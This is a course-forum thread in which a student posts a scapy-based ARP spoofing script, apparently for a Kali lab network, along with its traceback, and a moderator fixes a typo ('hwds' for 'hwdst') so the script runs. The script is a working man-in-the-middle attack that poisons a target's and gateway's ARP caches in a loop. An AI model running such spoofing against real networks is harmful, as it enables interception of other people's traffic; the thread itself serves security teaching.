- This topic has 1 reply, 2 voices, and was last updated 4 years, 3 months ago by Diego Pérez.
- AuthorPosts
- June 15, 2020 at 12:36 pm #40015Peter QueenParticipant
Hello,
While i run this code I get the below message:
#!/usr/bin/env python import scapy.all as scapy import time def get_mac(ip): arp_request = scapy.ARP(pdst=ip) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast/arp_request answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] return answered_list[0][1].hwsrc def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip) # print(packet.show()) # print(packet.summary()) scapy.send(packet) while True: spoof("10.0.2.6", "10.0.2.1") spoof("10.0.2.1", "10.0.2.6") time.sleep(2)
this is the error:
oot@kali:~/PycharmProjects/arp_spoofing# python arpspoofing.py
Traceback (most recent call last):
File “arpspoofing.py”, line 25, in <module>
spoof(“10.0.2.6”, “10.0.2.1”)
File “arpspoofing.py”, line 18, in spoof
packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)
File “/usr/local/lib/python2.7/dist-packages/scapy/base_classes.py”, line 258, in __call__
i.__init__(*args, **kargs)
File “/usr/local/lib/python2.7/dist-packages/scapy/packet.py”, line 157, in __init__
for fname, _ in fields:
ValueError: too many values to unpack
root@kali:~/PycharmProjects/arp_spoofing#Can you help please?
June 16, 2020 at 5:23 am #40084Diego PérezModeratorHi Simo!
You have a typo in this line:
packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)it should be hwdst not hwds.
Change it and let me know how it goes!
Diego - AuthorPosts
- You must be logged in to reply to this topic.